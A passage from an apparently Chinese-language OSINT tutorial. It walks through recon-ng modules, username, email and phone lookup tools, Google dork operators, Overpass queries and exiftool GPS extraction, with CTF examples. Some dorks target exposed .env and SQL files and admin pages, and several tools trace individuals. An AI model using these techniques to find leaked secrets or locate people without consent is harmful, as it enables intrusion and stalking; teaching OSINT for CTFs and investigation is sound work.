</span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/ipinfodb                        </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-08-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/ipstack                         </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/resolve                         </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/reverse_resolve                 </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/ssltools                        </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/virustotal                      </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-locations/migrate_hosts               </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-ports/binaryedge                      </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-ports/shodan_ip                       </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-07-01 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/locations-locations/geocode                 </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/locations-locations/reverse_geocode         </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/locations-pushpins/flickr                   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/locations-pushpins/shodan                   </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-07-07 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/locations-pushpins/twitter                  </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-17 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/locations-pushpins/youtube                  </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-09-02 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-companies/censys_netblock_company </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-companies/whois_orgs              </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-hosts/censys_netblock             </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-hosts/reverse_resolve             </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-hosts/shodan_net                  </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-07-21 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-hosts/virustotal                  </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-ports/census_2012                 </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/netblocks-ports/censysio                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/ports-hosts/migrate_ports                   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/ports-hosts/ssl_scan                        </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-08-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-contacts/bing_linkedin_contacts    </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-08-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-contacts/dev_diver                 </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-05-15 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-contacts/github_users              </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-profiles/namechk                   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-profiles/profiler                  </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2023-12-30 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-profiles/twitter_mentioned         </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-profiles/twitter_mentions          </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/profiles-repositories/github_repos          </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-05-15 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/repositories-profiles/github_commits        </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/repositories-vulnerabilities/gists_search   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/repositories-vulnerabilities/github_dorks   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> reporting/csv                                     </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> reporting/html                                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> reporting/json                                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> reporting/list                                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> reporting/proxifier                               </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> reporting/pushpin                                 </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> reporting/xlsx                                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> reporting/xml                                     </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  +--------------------------------------------------------------------------------------------------+</span><br></pre></td></tr></table></figure><p>接下來示範用 <code>hackertarget</code> 去尋找 hostname</p><p>首先先把 <code>hackertarget</code> 先下載下來</p><figure class="highlight cmake"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">marketplace <span class="keyword">install</span> hackertarget</span><br></pre></td></tr></table></figure><p>再把它 load 進來</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">modules load hackertarget</span></span><br></pre></td></tr></table></figure><p>接下來用 info 看一下會需要什麼參數</p><figure class="highlight livecodeserver"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ [recon-ng][default][hackertarget] &gt; info</span><br><span class="line"></span><br><span class="line">      Name: HackerTarget Lookup</span><br><span class="line">    Author: Michael Henriksen (@michenriksen)</span><br><span class="line">   Version: <span class="number">1.1</span></span><br><span class="line"></span><br><span class="line">Description:</span><br><span class="line">  Uses <span class="keyword">the</span> HackerTarget.com API <span class="built_in">to</span> find host names. Updates <span class="keyword">the</span> <span class="string">&#x27;hosts&#x27;</span> table <span class="keyword">with</span> <span class="keyword">the</span> results.</span><br><span class="line"></span><br><span class="line">Options:</span><br><span class="line">  Name    Current Value  Required  Description</span><br><span class="line">  <span class="comment">------  -------------  --------  -----------</span></span><br><span class="line">  SOURCE                 yes       source <span class="keyword">of</span> input (see <span class="string">&#x27;info&#x27;</span> <span class="keyword">for</span> details)</span><br><span class="line"></span><br><span class="line">Source Options:</span><br><span class="line">  default        SELECT DISTINCT domain FROM domains WHERE domain IS NOT <span class="literal">NULL</span></span><br><span class="line">  &lt;<span class="keyword">string</span>&gt;       <span class="keyword">string</span> representing <span class="keyword">a</span> single input</span><br><span class="line">  &lt;path&gt;         path <span class="built_in">to</span> <span class="keyword">a</span> <span class="built_in">file</span> containing <span class="keyword">a</span> list <span class="keyword">of</span> inputs</span><br><span class="line">  query &lt;sql&gt;    database query returning <span class="literal">one</span> column <span class="keyword">of</span> inputs</span><br></pre></td></tr></table></figure><p>接下來可以看到 SOURCE 會需要填東西，那這欄就是要填要偵查的 domain，以 <code>google.com</code> 舉例。</p><p>用下面指令設定 SOURCE</p><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">options</span> <span class="keyword">set</span> SOURCE <span class="comment">google.com</span></span><br></pre></td></tr></table></figure><p>再看一次 info，可以看到它被設定成了 <code>google.com</code> </p><figure class="highlight livecodeserver"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ [recon-ng][default][hackertarget] &gt; info</span><br><span class="line"></span><br><span class="line">      Name: HackerTarget Lookup</span><br><span class="line">    Author: Michael Henriksen (@michenriksen)</span><br><span class="line">   Version: <span class="number">1.1</span></span><br><span class="line"></span><br><span class="line">Description:</span><br><span class="line">  Uses <span class="keyword">the</span> HackerTarget.com API <span class="built_in">to</span> find host names. Updates <span class="keyword">the</span> <span class="string">&#x27;hosts&#x27;</span> table <span class="keyword">with</span> <span class="keyword">the</span> results.</span><br><span class="line"></span><br><span class="line">Options:</span><br><span class="line">  Name    Current Value  Required  Description</span><br><span class="line">  <span class="comment">------  -------------  --------  -----------</span></span><br><span class="line">  SOURCE  google.com     yes       source <span class="keyword">of</span> input (see <span class="string">&#x27;info&#x27;</span> <span class="keyword">for</span> details)</span><br><span class="line"></span><br><span class="line">Source Options:</span><br><span class="line">  default        SELECT DISTINCT domain FROM domains WHERE domain IS NOT <span class="literal">NULL</span></span><br><span class="line">  &lt;<span class="keyword">string</span>&gt;       <span class="keyword">string</span> representing <span class="keyword">a</span> single input</span><br><span class="line">  &lt;path&gt;         path <span class="built_in">to</span> <span class="keyword">a</span> <span class="built_in">file</span> containing <span class="keyword">a</span> list <span class="keyword">of</span> inputs</span><br><span class="line">  query &lt;sql&gt;    database query returning <span class="literal">one</span> column <span class="keyword">of</span> inputs</span><br></pre></td></tr></table></figure><p>接下來打 run 就會開始執行</p><p>執行的過程中也會出現結果，最後在下 <code>show hosts</code> 指令就會出現表格樣式的結果</p><p><img src="/assets/svj4PUeEf1nUKpRCQjze7nr5oPS1zt2QQ496e2hZ8sw=.png"></p><h3 id="Whois-domaintools"><a href="#Whois-domaintools" class="headerlink" title="Whois.domaintools"></a>Whois.domaintools</h3><p>網站連結：<a href="https://whois.domaintools.com/">https://whois.domaintools.com/</a></p><p>這個網站可以找到關於 domain 的一些資訊，包括註冊商、何時註冊、何時到期與最後更新時間等等</p><p><img src="/assets/TBoAsZNRu4upfnloA9-lYEkUGjBbWF1mTuprg7Q2T_4=.png"></p><h3 id="Sherlock"><a href="#Sherlock" class="headerlink" title="Sherlock"></a>Sherlock</h3><p>下載連結：<a href="https://github.com/sherlock-project/sherlock">https://github.com/sherlock-project/sherlock</a></p><p>這是一個可以快速搜尋各大平台用戶名的工具</p><p>假設今天我們獲得到了一個用戶叫做<code>yunshiuan</code> 接下來丟進sherlock</p><p><img src="/assets/Rf9_ZONhV5xhlOF3CzJfPYdew6Xk7vKZLSNlSOWvBJc=.png"></p><p>發現了跑出許多用戶名稱是yunshiuan 的平台，接下來就可以一一去看是不是自己想要的</p><h3 id="HaveIBeenPwned"><a href="#HaveIBeenPwned" class="headerlink" title="HaveIBeenPwned"></a>HaveIBeenPwned</h3><p>連結：<a href="https://haveibeenpwned.com/">https://haveibeenpwned.com/</a></p><p>這是一個可以輸入信箱，他會說輸入的信箱是否已經被洩漏出去了</p><p>假設輸入一個大家在測試時很常輸入的<code>aaaaa@gmail.com</code></p><p><img src="/assets/YRv_jjfeqpWoNVRieLp2g4zT9Gl5_wRnteRh9wW8GYE=.png"></p><p>可以看到這個 email 在 20 多個平台被洩漏了，底下會跟你說是在何時因為什麼而被洩漏</p><p><img src="/assets/bfiSjA3fimrdDE8iTnRwjRZ3OuPwZ0oK4S-_tCSbWiU=.png"></p><h3 id="Epieos"><a href="#Epieos" class="headerlink" title="Epieos"></a>Epieos</h3><p>網站連結：<a href="https://epieos.com/">https://epieos.com/</a></p><p>他提供了email與手機號碼的反向查詢，幫你把和該email &#x2F; phone 有關的社群帳號、Google 活動、評價、公開痕跡等串起來顯示，方便做初步調查或驗證線索</p><p><img src="/assets/9PHebz4gf0c55xyN-fS-TDK_HvYakSfp-GV0gIzMo_c=.png"></p><p>底下其實還有其他網站或者應用程式的掃描，但那些就會需要付費才能觀看</p><h3 id="Phoneinfoga"><a href="#Phoneinfoga" class="headerlink" title="Phoneinfoga"></a>Phoneinfoga</h3><p>下載連結：<a href="https://github.com/sundowndev/phoneinfoga">https://github.com/sundowndev/phoneinfoga</a></p><p>這個工具可以查詢這個電話號碼的基本metadata</p><figure class="highlight excel"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ./phoneinfoga <span class="built_in">scan</span> -<span class="built_in">n</span> +<span class="number">886911111111</span></span><br></pre></td></tr></table></figure><p><img src="/assets/d6GCUzEdKWX2Yyr2GDw1FAU4ikSOyZx1De-DMHItZZc=.png"></p><p>另外也可以用開server 的方式用網頁查詢</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">./phoneinfoga serve -p 8080</span></span><br><span class="line"></span><br><span class="line">Listening on :8080</span><br></pre></td></tr></table></figure><p><img src="/assets/PxCHUVESvr-Z_zTZpqgN7nlQQxibied7gFqCAL27Y40=.png"></p><h3 id="Google-Hacking"><a href="#Google-Hacking" class="headerlink" title="Google Hacking"></a>Google Hacking</h3><p>這是 Google 提供的進階搜尋法，它提供一些方式可以更準確地找到我們想要的資料或網站。</p><p>以下是常見的搜尋</p><p>•<code>site:domain.com</code> — 限定在某個網域搜尋，ex:<code>site:github.com</code>。</p><p>•<code>filetype:pdf / filetype:env / filetype:sql</code> — 找特定檔案類型。</p><p>•<code>inurl:admin / inurl:login</code> — URL 中含特定字串（找管理頁面）。</p><p>•<code>intitle:&quot;index of&quot;</code> — 找目錄列舉頁面（常暴露檔案列表）。</p><p>•<code>&quot;exact phrase&quot;</code> — 精確比對字串（例如機密檔名或參數名）。</p><p>•-（負號）排除字詞，ex: <code>site:example.com</code> <code>-site:blog.example.com</code>。</p><p>另外也可以用 <code>OR</code>、<code>+</code> 來串接多個進階搜尋結果</p><p><img src="/assets/DxLpxVnMZEKL_lROU9xsoRvZnZu_3iecohb79vO3gzU=.png"></p><h3 id="Google-Map-Google-Earth"><a href="#Google-Map-Google-Earth" class="headerlink" title="Google Map &#x2F; Google Earth"></a>Google Map &#x2F; Google Earth</h3><p>Google 地圖是 Google 提供的網路地圖服務，這個服務提供了多種視圖模式，包括衛星圖、街道圖和地形圖，讓用戶可以根據需求選擇最適合的視角來查看地圖</p><p><img src="/assets/AM7XkPseqHtJ64J0lHNKzlYK_NjHdww-qvZ-EDJlbQY=.png"></p><p>Google Earth 是一個更進階的 3D 地球瀏覽器，讓用戶能夠以立體的方式探索世界。歷史影像功能讓用戶可以查看不同時期的衛星影像，觀察城市的發展變化，而街景整合功能則在 3D 環境中嵌入了街景視圖，並且可以匯入 KML 檔</p><p><img src="/assets/Nqm0R92EVsQ60NoKlkI9vqtx9kdYYYIJFoBYZhEUTA0=.png"></p><h3 id="Google-智慧鏡頭"><a href="#Google-智慧鏡頭" class="headerlink" title="Google 智慧鏡頭"></a>Google 智慧鏡頭</h3><p>Google 智慧鏡頭是一個基於 AI 的視覺搜尋工具，你可以把你想要辨識的圖片丟進去，它會把網路上類似的圖片丟給你</p><p>在搜尋列就可以找到智慧鏡頭的 icon</p><p><img src="/assets/jZWhq_f9A2B3eBaFBL80Oolkc6_952uiK4kCQq7InJ0=.png"></p><p>點擊後把圖片丟進去它就會幫你查有沒有類似的圖片</p><p><img src="/assets/kKnQobr1ng3IbFvcC_9I5sWMSVUr-T2nkvQ_24bhC3M=.png"></p><h3 id="Geohints"><a href="#Geohints" class="headerlink" title="Geohints"></a>Geohints</h3><p>網站連結：<a href="https://geohints.com/">https://geohints.com/</a></p><p>這個網站整理了很多每個國家的 Google 街景具有特色的部分，像是車牌、道路、電線竿、標誌等照片，如果遇到沒看過的都可以來這邊查</p><p><img src="/assets/hvedPNXTINc-yVUpWuTxXMSQBGihsp3dkifiHQYigmk=.png"></p><h3 id="Overpass-turbo"><a href="#Overpass-turbo" class="headerlink" title="Overpass turbo"></a>Overpass turbo</h3><p>網址：<a href="https://overpass-turbo.eu/">https://overpass-turbo.eu/</a></p><p>Overpass Turbo 是一個基於網頁的查詢工具，專門用於查詢 OpenStreetMap 資料庫。它提供了一個直觀的介面，讓用戶能夠使用 Overpass QL 查詢語言來搜尋和提取 OSM 中的地理資料。</p><p>而 <a href="https://www.openstreetmap.org/#map=12/56.4984/16.6010">OpenStreetMap</a> 是世界上最大的開放地理資料庫，包含了全球各地的道路、建築物、興趣點等詳細資訊。</p><p><img src="/assets/OCrdN1c5cGeTKK0BCCkvA-6cWK104_wpnCDz_fT2D5s=.png"></p><p>接下來介紹一下要怎麼使用Overpass QL 查詢我們想要的東西。</p><p>首先是 OSM 的資料結構，它使用節點 (nodes)、路徑 (ways) 和關係 (relations) 三種基本元素來描述地理物件：</p><ul><li><strong>節點 (Nodes)</strong>：代表點狀物件，如商店或地標</li><li><strong>路徑 (Ways)</strong>：代表線狀或面狀物件，如道路或建築物</li><li><strong>關係 (Relations)</strong>：用於描述複雜的物件，如多個部分組成的建築物群</li></ul><p>最基本的查詢以 <code>[out:json];</code> 開始，這指定了輸出格式。接著使用 <code>node</code>、<code>way</code> 或 <code>relation</code> 來指定要查詢的物件類型，而<code>nwr</code>則可以將三者都包含，然後在方括號中指定搜尋條件，關於搜尋條件的所有的key 跟value 都可以在這邊查到 <a href="https://wiki.openstreetmap.org/wiki/Map/_features">https://wiki.openstreetmap.org/wiki/Map\_features</a> 。</p><p>像圖示中是L3akCTF 2025的其中一題<a href="https://medium.com/@shibaosint/l3akctf-2025-fidget-spinner-writeup-cd94eafc2828">Fidget Spinner</a>我們想要找在厄蘭島上所有的風車地點，可以這樣寫</p><figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-attr">[out:json]</span><span class="selector-attr">[timeout:25]</span>;</span><br><span class="line"><span class="comment">//restrict our search to the island</span></span><br><span class="line"><span class="selector-tag">area</span><span class="selector-attr">[name=<span class="string">&quot;Öland&quot;</span>]</span>;</span><br><span class="line">(</span><br><span class="line">  <span class="comment">// search for windmills</span></span><br><span class="line">  nwr[<span class="string">&quot;man_made&quot;</span>=<span class="string">&quot;windmill&quot;</span>](area); <span class="comment">//(area)的功能是限制在Öland地點上查詢</span></span><br><span class="line">);</span><br><span class="line"><span class="comment">// print results</span></span><br><span class="line"><span class="selector-tag">out</span> <span class="selector-tag">geom</span>;</span><br></pre></td></tr></table></figure><p>之後出來的結果就會是這樣</p><p><img src="/assets/hLt5ujf8M4p8aGhdbo4CVsi7_xOwj5CBfN3zKMmBMMo=.png"></p><p>接下來它也可以匯出成 KML 檔，然後放到 Google Map &#x2F; Google Earth 上</p><p><img src="/assets/BoYcPTrtyYVX4YFzs6DzQ9bPESm3RDAuLS-dqbSBsUk=.png"></p><p>接下來就可以去一一驗證是否是題目想要的位置</p><p>另外也可以像這樣把想要的區域先匡起來然後查詢</p><p><img src="/assets/TEiO_tKmOGHWcEVH1ynu8k2Lze8ViVkW0SaFlpMOXQI=.png"></p><p><code>source : https://medium.com/@PretendNotToBe/ea6e8f3fb763</code></p><h3 id="Exiftool"><a href="#Exiftool" class="headerlink" title="Exiftool"></a><a href="https://exiftool.org/">Exiftool</a></h3><p>它可以去看圖片的基本資料，例如圖片大小、修改時間等等，但它可以去看這張照片的拍攝地點在哪裡，並且會給你 GPS 定位。</p><p>舉個例子：<a href="https://drive.google.com/file/d/17rE9LAp7TNk8u09EwguZB3RQ4H3WNIMB/view">DownUnderCTF 2023 Excellent Vista!</a></p><p>下載之後用 exiftool 看一下</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">$</span> <span class="string">exiftool</span> <span class="string">ExcellentVista.jpg</span></span><br><span class="line"></span><br><span class="line"><span class="attr">ExifTool Version Number         :</span> <span class="number">13.10</span></span><br><span class="line"><span class="attr">File Name                       :</span> <span class="string">ExcellentVista.jpg</span></span><br><span class="line"><span class="attr">Directory                       :</span> <span class="string">.</span></span><br><span class="line"><span class="attr">File Size                       :</span> <span class="number">2.7</span> <span class="string">MB</span></span><br><span class="line"><span class="attr">File Modification Date/Time     :</span> <span class="number">2025</span><span class="string">:09:23</span> <span class="number">15</span><span class="string">:41:41+08:00</span></span><br><span class="line"><span class="attr">File Access Date/Time           :</span> <span class="number">2025</span><span class="string">:09:23</span> <span class="number">15</span><span class="string">:41:45+08:00</span></span><br><span class="line"><span class="attr">File Inode Change Date/Time     :</span> <span class="number">2025</span><span class="string">:09:23</span> <span class="number">15</span><span class="string">:41:44+08:00</span></span><br><span class="line"><span class="attr">File Permissions                :</span> <span class="string">-rw-r--r--</span></span><br><span class="line"><span class="attr">File Type                       :</span> <span class="string">JPEG</span></span><br><span class="line"><span class="attr">File Type Extension             :</span> <span class="string">jpg</span></span><br><span class="line"><span class="attr">MIME Type                       :</span> <span class="string">image/jpeg</span></span><br><span class="line"><span class="attr">Exif Byte Order                 :</span> <span class="string">Big-endian</span> <span class="string">(Motorola,</span> <span class="string">MM)</span></span><br><span class="line"><span class="attr">X Resolution                    :</span> <span class="number">72</span></span><br><span class="line"><span class="attr">Y Resolution                    :</span> <span class="number">72</span></span><br><span class="line"><span class="attr">Resolution Unit                 :</span> <span class="string">inches</span></span><br><span class="line"><span class="attr">Y Cb Cr Positioning             :</span> <span class="string">Centered</span></span><br><span class="line"><span class="attr">Date/Time Original              :</span> <span class="number">2023</span><span class="string">:08:31</span> <span class="number">22</span><span class="string">:58:56</span></span><br><span class="line"><span class="attr">Create Date                     :</span> <span class="number">2023</span><span class="string">:08:31</span> <span class="number">22</span><span class="string">:58:56</span></span><br><span class="line"><span class="attr">Sub Sec Time Original           :</span> <span class="number">00</span></span><br><span class="line"><span class="attr">Sub Sec Time Digitized          :</span> <span class="number">00</span></span><br><span class="line"><span class="attr">GPS Version ID                  :</span> <span class="number">2.3</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line"><span class="attr">GPS Latitude Ref                :</span> <span class="string">South</span></span><br><span class="line"><span class="attr">GPS Longitude Ref               :</span> <span class="string">East</span></span><br><span class="line"><span class="attr">GPS Altitude Ref                :</span> <span class="string">Above</span> <span class="string">Sea</span> <span class="string">Level</span></span><br><span class="line"><span class="attr">GPS Speed Ref                   :</span> <span class="string">km/h</span></span><br><span class="line"><span class="attr">GPS Speed                       :</span> <span class="number">0</span></span><br><span class="line"><span class="attr">GPS Img Direction Ref           :</span> <span class="literal">True</span> <span class="string">North</span></span><br><span class="line"><span class="attr">GPS Img Direction               :</span> <span class="number">122.5013812</span></span><br><span class="line"><span class="attr">GPS Dest Bearing Ref            :</span> <span class="literal">True</span> <span class="string">North</span></span><br><span class="line"><span class="attr">GPS Dest Bearing                :</span> <span class="number">122.5013812</span></span><br><span class="line"><span class="attr">GPS Horizontal Positioning Error:</span> <span class="number">6.055886243</span> <span class="string">m</span></span><br><span class="line"><span class="attr">Padding                         :</span> <span class="string">(Binary</span> <span class="string">data</span> <span class="number">2060 </span><span class="string">bytes,</span> <span class="string">use</span> <span class="string">-b</span> <span class="string">option</span> <span class="string">to</span> <span class="string">extract)</span></span><br><span class="line"><span class="attr">About                           :</span> <span 